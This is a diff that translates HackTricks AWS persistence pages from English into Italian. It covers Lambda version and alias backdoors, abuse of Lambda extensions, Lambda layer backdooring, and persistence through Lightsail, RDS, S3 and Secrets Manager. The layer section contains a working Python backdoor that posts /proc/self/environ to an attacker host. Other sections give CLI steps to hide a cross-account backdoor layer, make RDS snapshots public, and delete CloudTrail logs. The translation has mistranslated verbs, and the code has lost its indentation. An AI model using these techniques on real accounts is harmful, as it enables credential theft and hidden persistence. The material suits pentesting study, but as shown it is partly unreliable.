+È possibile concedere accesso a diverse azioni lambda (come invocare o aggiornare il codice) a account esterni:
-### Versions, Aliases & Weights
+### Versioni, Alias e Pesi
-A Lambda can have **different versions** (with different code each version).\
-Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
-This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
+Un Lambda può avere **diverse versioni** (con codice diverso per ogni versione).\
+Poi, puoi creare **diversi alias con diverse versioni** del lambda e impostare pesi diversi per ciascuno.\
+In questo modo un attaccante potrebbe creare una **versione 1 backdoored** e una **versione 2 con solo il codice legittimo** e **eseguire solo la versione 1 nel 1%** delle richieste per rimanere furtivo.
-### Version Backdoor + API Gateway
+### Backdoor della Versione + API Gateway
-1. Copy the original code of the Lambda
-2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
- 1. Call the API gateway related to the lambda to execute the code
-3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
- 1. This will hide the backdoored code in a previous version
-4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1`
- 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
-5. Select the POST method created and in Actions select **`Deploy API`**
-6. Now, when you **call the function via POST your Backdoor** will be invoked
+1. Copia il codice originale del Lambda
+2. **Crea una nuova versione backdooring** il codice originale (o solo con codice malevolo). Pubblica e **deplora quella versione** su $LATEST
+1. Chiama l'API gateway relativo al lambda per eseguire il codice
+3. **Crea una nuova versione con il codice originale**, Pubblica e deploara quella **versione** su $LATEST.
+1. Questo nasconderà il codice backdoored in una versione precedente
+4. Vai all'API Gateway e **crea un nuovo metodo POST** (o scegli un altro metodo) che eseguirà la versione backdoored del lambda: `arn:aws:lambda:us-east-1::function::1`
+1. Nota il finale :1 dell'arn **che indica la versione della funzione** (la versione 1 sarà quella backdoored in questo scenario).
+5. Seleziona il metodo POST creato e in Azioni seleziona **`Deploy API`**
+6. Ora, quando **chiami la funzione via POST la tua Backdoor** sarà invocata
-### Cron/Event actuator
+### Attuatore Cron/Event
-The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
-Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
+Il fatto che puoi far **eseguire funzioni lambda quando accade qualcosa o quando passa del tempo** rende lambda un modo piacevole e comune per ottenere persistenza ed evitare la rilevazione.\
+Ecco alcune idee per rendere la tua **presenza in AWS più furtiva creando lambdas**.
-- Every time a new user is created lambda generates a new user key and send it to the attacker.
-- Every time a new role is created lambda gives assume role permissions to compromised users.
-- Every time new cloudtrail logs are generated, delete/alter them
+- Ogni volta che viene creato un nuovo utente, lambda genera una nuova chiave utente e la invia all'attaccante.
+- Ogni volta che viene creata una nuova ruolo, lambda concede permessi di assunzione ruolo agli utenti compromessi.
+- Ogni volta che vengono generati nuovi log di cloudtrail, cancellali/modificali
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 71655ada0..66bbc005c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -1,46 +1,42 @@
-# AWS - Abusing Lambda Extensions
+# AWS - Abusare delle Estensioni Lambda
{{#include ../../../../banners/hacktricks-training.md}}
-## Lambda Extensions
+## Estensioni Lambda
-Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
+Le estensioni Lambda migliorano le funzioni integrandosi con vari **strumenti di monitoraggio, osservabilità, sicurezza e governance**. Queste estensioni, aggiunte tramite [.zip archivi utilizzando i layer Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluse nelle [distribuzioni di immagini container](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operano in due modalità: **interna** ed **esterna**.
-- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
-- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
+- **Le estensioni interne** si fondono con il processo di runtime, manipolando il suo avvio utilizzando **variabili d'ambiente specifiche per il linguaggio** e **script wrapper**. Questa personalizzazione si applica a una gamma di runtime, inclusi **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**.
+- **Le estensioni esterne** vengono eseguite come processi separati, mantenendo l'allineamento operativo con il ciclo di vita della funzione Lambda. Sono compatibili con vari runtime come **Node.js 10 e 12, Python 3.7 e 3.8, Ruby 2.5 e 2.7, Java Corretto 8 e 11, .NET Core 3.1**, e **runtime personalizzati**.
-For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
+Per ulteriori informazioni su [**come funzionano le estensioni lambda controlla la documentazione**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
-### External Extension for Persistence, Stealing Requests & modifying Requests
+### Estensione Esterna per Persistenza, Furto di Richieste e Modifica delle Richieste
-This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
+Questo è un riassunto della tecnica proposta in questo post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
+È stato scoperto che il kernel Linux predefinito nell'ambiente di runtime Lambda è compilato con le chiamate di sistema “**process_vm_readv**” e “**process_vm_writev**”. E tutti i processi vengono eseguiti con lo stesso ID utente, anche il nuovo processo creato per l'estensione esterna. **Questo significa che un'estensione esterna ha accesso completo in lettura e scrittura alla memoria heap di Rapid, per design.**
-Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
+Inoltre, mentre le estensioni Lambda hanno la capacità di **iscriversi agli eventi di invocazione**, AWS non rivela i dati grezzi a queste estensioni. Questo garantisce che **le estensioni non possano accedere a informazioni sensibili** trasmesse tramite la richiesta HTTP.
-The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
+Il processo Init (Rapid) monitora tutte le richieste API su [http://127.0.0.1:9001](http://127.0.0.1:9001/) mentre le estensioni Lambda vengono inizializzate ed eseguite prima dell'esecuzione di qualsiasi codice di runtime, ma dopo Rapid.
-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
+La variabile **`AWS_LAMBDA_RUNTIME_API`** indica l'**IP** e il **numero di porta** dell'API Rapid ai **processi di runtime secondari** e alle estensioni aggiuntive.
> [!WARNING]
-> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
+> Cambiando la variabile d'ambiente **`AWS_LAMBDA_RUNTIME_API`** in un **`port`** a cui abbiamo accesso, è possibile intercettare tutte le azioni all'interno del runtime Lambda (**man-in-the-middle**). Questo è possibile perché l'estensione viene eseguita con gli stessi privilegi di Rapid Init, e il kernel del sistema consente la **modifica della memoria del processo**, abilitando la modifica del numero di porta.
-Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
+Poiché **le estensioni vengono eseguite prima di qualsiasi codice di runtime**, modificare la variabile d'ambiente influenzerà il processo di runtime (ad es., Python, Java, Node, Ruby) mentre si avvia. Inoltre, **le estensioni caricate dopo** la nostra, che si basano su questa variabile, instraderanno anche attraverso la nostra estensione. Questa configurazione potrebbe consentire a malware di bypassare completamente le misure di sicurezza o le estensioni di registrazione direttamente all'interno dell'ambiente di runtime.
-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
+Lo strumento [**lambda-spy**](https://github.com/clearvector/lambda-spy) è stato creato per eseguire quella **scrittura in memoria** e **rubare informazioni sensibili** dalle richieste lambda, altre **richieste di estensioni** e persino **modificarle**.
-## References
+## Riferimenti
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index f8a5e2868..ebd5a3a1f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -4,79 +4,72 @@
## Lambda Layers
-A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
+Un layer Lambda è un archivio .zip che **può contenere codice aggiuntivo** o altro contenuto. Un layer può contenere librerie, un [runtime personalizzato](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dati o file di configurazione.
-It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
+È possibile includere fino a **cinque layer per funzione**. Quando includi un layer in una funzione, i **contenuti vengono estratti nella directory `/opt`** nell'ambiente di esecuzione.
-By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
+Per **definizione**, i **layer** che crei sono **privati** al tuo account AWS. Puoi scegliere di **condividere** un layer con altri account o di **rendere** il layer **pubblico**. Se le tue funzioni consumano un layer pubblicato da un altro account, le tue funzioni possono **continuare a utilizzare la versione del layer dopo che è stata eliminata, o dopo che il tuo permesso di accesso al layer è stato revocato**. Tuttavia, non puoi creare una nuova funzione o aggiornare funzioni utilizzando una versione di layer eliminata.
-Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
+Le funzioni distribuite come immagine del contenitore non utilizzano layer. Invece, impacchetti il tuo runtime preferito, librerie e altre dipendenze nell'immagine del contenitore quando costruisci l'immagine.
### Python load path
-The load path that Python will use in lambda is the following:
-
+Il percorso di caricamento che Python utilizzerà in lambda è il seguente:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
-
-Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
+Controlla come le **seconda** e terza **posizione** sono occupate da directory dove i **lambda layers** decomprimono i loro file: **`/opt/python/lib/python3.9/site-packages`** e **`/opt/python`**
> [!CAUTION]
-> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
+> Se un attaccante riesce a **backdoor** un **layer** lambda utilizzato o **aggiungerne uno** che eseguirà **codice arbitrario quando una libreria comune viene caricata**, sarà in grado di eseguire codice malevolo con ogni invocazione di lambda.
-Therefore, the requisites are:
+Pertanto, i requisiti sono:
-- **Check libraries** that are **loaded** by the victims code
-- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
+- **Controllare le librerie** che sono **caricate** dal codice delle vittime
+- Creare una **libreria proxy con lambda layers** che **eseguirà codice personalizzato** e **caricherà la libreria originale**.
-### Preloaded libraries
+### Librerie pre-caricate
> [!WARNING]
-> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
-> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
-
-With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
+> Quando si abusa di questa tecnica ho trovato una difficoltà: Alcune librerie sono **già caricate** nel runtime di python quando il tuo codice viene eseguito. Mi aspettavo di trovare cose come `os` o `sys`, ma **anche la libreria `json` era caricata**.\
+> Per abusare di questa tecnica di persistenza, il codice deve **caricare una nuova libreria che non è caricata** quando il codice viene eseguito.
+Con un codice python come questo è possibile ottenere la **lista delle librerie che sono pre-caricate** all'interno del runtime di python in lambda:
```python
import sys
def lambda_handler(event, context):
- return {
- 'statusCode': 200,
- 'body': str(sys.modules.keys())
- }
+return {
+'statusCode': 200,
+'body': str(sys.modules.keys())
+}
```
-
-And this is the **list** (check that libraries like `os` or `json` are already there)
-
+E questa è la **lista** (controlla che librerie come `os` o `json` siano già presenti)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
+E questa è la lista delle **librerie** che **lambda include installate per impostazione predefinita**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
-And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
+### Backdooring del Lambda Layer
-### Lambda Layer Backdooring
+In questo esempio supponiamo che il codice target stia importando **`csv`**. Stiamo per **backdooring l'importazione della libreria `csv`**.
-In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
+Per fare ciò, creeremo la directory **csv** con il file **`__init__.py`** al suo interno in un percorso caricato da lambda: **`/opt/python/lib/python3.9/site-packages`**\
+Poi, quando il lambda viene eseguito e cerca di caricare **csv**, il nostro **file `__init__.py` verrà caricato ed eseguito**.\
+Questo file deve:
-For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
-Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
-This file must:
-
-- Execute our payload
-- Load the original csv library
-
-We can do both with:
+- Eseguire il nostro payload
+- Caricare la libreria csv originale
+Possiamo fare entrambe le cose con:
```python
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
- url= "https://attacker13123344.com/" #Change this to your server
- req = request.Request(url, data=file.read(), method="POST")
- response = request.urlopen(req)
+url= "https://attacker13123344.com/" #Change this to your server
+req = request.Request(url, data=file.read(), method="POST")
+response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
@@ -90,29 +83,27 @@ import csv as _csv
sys.modules["csv"] = _csv
```
+Poi, crea uno zip con questo codice nel percorso **`python/lib/python3.9/site-packages/__init__.py`** e aggiungilo come un layer lambda.
-Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
+Puoi trovare questo codice in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
-You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
-
-The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
+Il payload integrato **invierà le credenziali IAM a un server LA PRIMA VOLTA che viene invocato o DOPO un reset del contenitore lambda** (cambio di codice o lambda a freddo), ma **altre tecniche** come le seguenti potrebbero essere integrate:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
-### External Layers
+### Layer Esterni
-Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
-Also note that the **max number of layers a lambda can have is 5**.
+Nota che è possibile utilizzare **layer lambda da account esterni**. Inoltre, un lambda può utilizzare un layer da un account esterno anche se non ha permessi.\
+Nota anche che il **numero massimo di layer che un lambda può avere è 5**.
-Therefore, in order to improve the versatility of this technique an attacker could:
-
-- Backdoor an existing layer of the user (nothing is external)
-- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
- - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
- - The victim **won't see external layers** used with **`aws lambda list-layers`**
+Pertanto, per migliorare la versatilità di questa tecnica, un attaccante potrebbe:
+- Backdoor un layer esistente dell'utente (niente è esterno)
+- **Creare** un **layer** nel **suo account**, dare accesso all'**account vittima** per utilizzare il layer, **configurare** il **layer** nel Lambda della vittima e **rimuovere il permesso**.
+- Il **Lambda** sarà ancora in grado di **utilizzare il layer** e la **vittima non avrà** alcun modo semplice per **scaricare il codice dei layer** (a parte ottenere una rev shell all'interno del lambda)
+- La vittima **non vedrà i layer esterni** utilizzati con **`aws lambda list-layers`**
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
-
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 88b0d082a..606c4f144 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -4,34 +4,30 @@
## Lightsail
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-lightsail-enum.md
{{#endref}}
-### Download Instance SSH keys & DB passwords
+### Scarica le chiavi SSH dell'istanza e le password del DB
-They won't be changed probably so just having them is a good option for persistence
+Probabilmente non verranno cambiate, quindi averle è una buona opzione per la persistenza
-### Backdoor Instances
+### Backdoor delle Istanze
-An attacker could get access to the instances and backdoor them:
+Un attaccante potrebbe accedere alle istanze e backdoorarle:
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key**
-- Expose a port with port knocking with a backdoor
+- Utilizzando un **rootkit** tradizionale, ad esempio
+- Aggiungendo una nuova **chiave SSH pubblica**
+- Esporre una porta con port knocking con una backdoor
-### DNS persistence
+### Persistenza DNS
-If domains are configured:
+Se i domini sono configurati:
-- Create a subdomain pointing your IP so you will have a **subdomain takeover**
-- Create **SPF** record allowing you to send **emails** from the domain
-- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
+- Crea un sottodominio che punta al tuo IP in modo da avere un **subdomain takeover**
+- Crea un record **SPF** che ti consenta di inviare **email** dal dominio
+- Configura l'**IP del dominio principale al tuo** e esegui un **MitM** dal tuo IP a quelli legittimi
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index b7a4b8f7b..91ec6b3bf 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -4,32 +4,24 @@
## RDS
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
{{#endref}}
-### Make instance publicly accessible: `rds:ModifyDBInstance`
-
-An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
+### Rendi l'istanza accessibile pubblicamente: `rds:ModifyDBInstance`
+Un attaccante con questo permesso può **modificare un'istanza RDS esistente per abilitare l'accesso pubblico**.
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
+### Crea un utente admin all'interno del DB
-### Create an admin user inside the DB
-
-An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
-
-### Make snapshot public
+Un attaccante potrebbe semplicemente **creare un utente all'interno del DB** in modo che anche se la password dell'utente master viene modificata, **non perde l'accesso** al database.
+### Rendi pubblico lo snapshot
```bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index f2c4ce048..8878273e2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -4,26 +4,22 @@
## S3
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
-### KMS Client-Side Encryption
+### Crittografia lato client KMS
-When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
+Quando il processo di crittografia è completato, l'utente utilizzerà l'API KMS per generare una nuova chiave (`aws kms generate-data-key`) e **salverà la chiave crittografata generata all'interno dei metadati** del file ([esempio di codice python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) in modo che quando si verifica la decrittazione, possa decrittarla nuovamente utilizzando KMS:
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
+Pertanto, un attaccante potrebbe ottenere questa chiave dai metadati e decrittare con KMS (`aws kms decrypt`) per ottenere la chiave utilizzata per crittografare le informazioni. In questo modo, l'attaccante avrà la chiave di crittografia e se quella chiave viene riutilizzata per crittografare altri file, sarà in grado di utilizzarla.
-### Using S3 ACLs
+### Utilizzo delle ACL S3
-Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
+Sebbene di solito le ACL dei bucket siano disabilitate, un attaccante con privilegi sufficienti potrebbe abusarne (se abilitate o se l'attaccante può abilitarle) per mantenere l'accesso al bucket S3.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index c15f27003..bd175ad6f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -1,57 +1,51 @@
-# AWS - Secrets Manager Persistence
+# AWS - Persistenza di Secrets Manager
{{#include ../../../banners/hacktricks-training.md}}
## Secrets Manager
-For more info check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-secrets-manager-enum.md
{{#endref}}
-### Via Resource Policies
+### Tramite Politiche di Risorsa
-It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
+È possibile **concedere accesso ai segreti a account esterni** tramite politiche di risorsa. Controlla la [**pagina di Privesc di Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) per ulteriori informazioni. Nota che per **accedere a un segreto**, l'account esterno avrà anche **bisogno di accesso alla chiave KMS che cripta il segreto**.
-### Via Secrets Rotate Lambda
+### Tramite Lambda di Rotazione dei Segreti
-To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
-
-This is how lambda code for such action could look like:
+Per **ruotare i segreti** automaticamente viene chiamata una **Lambda** configurata. Se un attaccante potesse **modificare** il **codice**, potrebbe direttamente **esfiltrare il nuovo segreto** a se stesso.
+Questo è come potrebbe apparire il codice lambda per tale azione:
```python
import boto3
def rotate_secrets(event, context):
- # Create a Secrets Manager client
- client = boto3.client('secretsmanager')
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
- # Retrieve the current secret value
- secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
- # Rotate the secret by updating its value
- new_secret_value = rotate_secret(secret_value)
- client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
- # Perform the rotation logic here, e.g., generate a new password
+# Perform the rotation logic here, e.g., generate a new password
- # Example: Generate a new password
- new_secret_value = generate_password()
+# Example: Generate a new password
+new_secret_value = generate_password()
- return new_secret_value
+return new_secret_value
def generate_password():
- # Example: Generate a random password using the secrets module
- import secrets
- import string
- password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
- return password
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 8e97cc81c..1495ebf66 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -4,7 +4,7 @@
## SNS
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-sns-enum.md
@@ -12,74 +12,66 @@ For more information check:
### Persistence
-When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
-
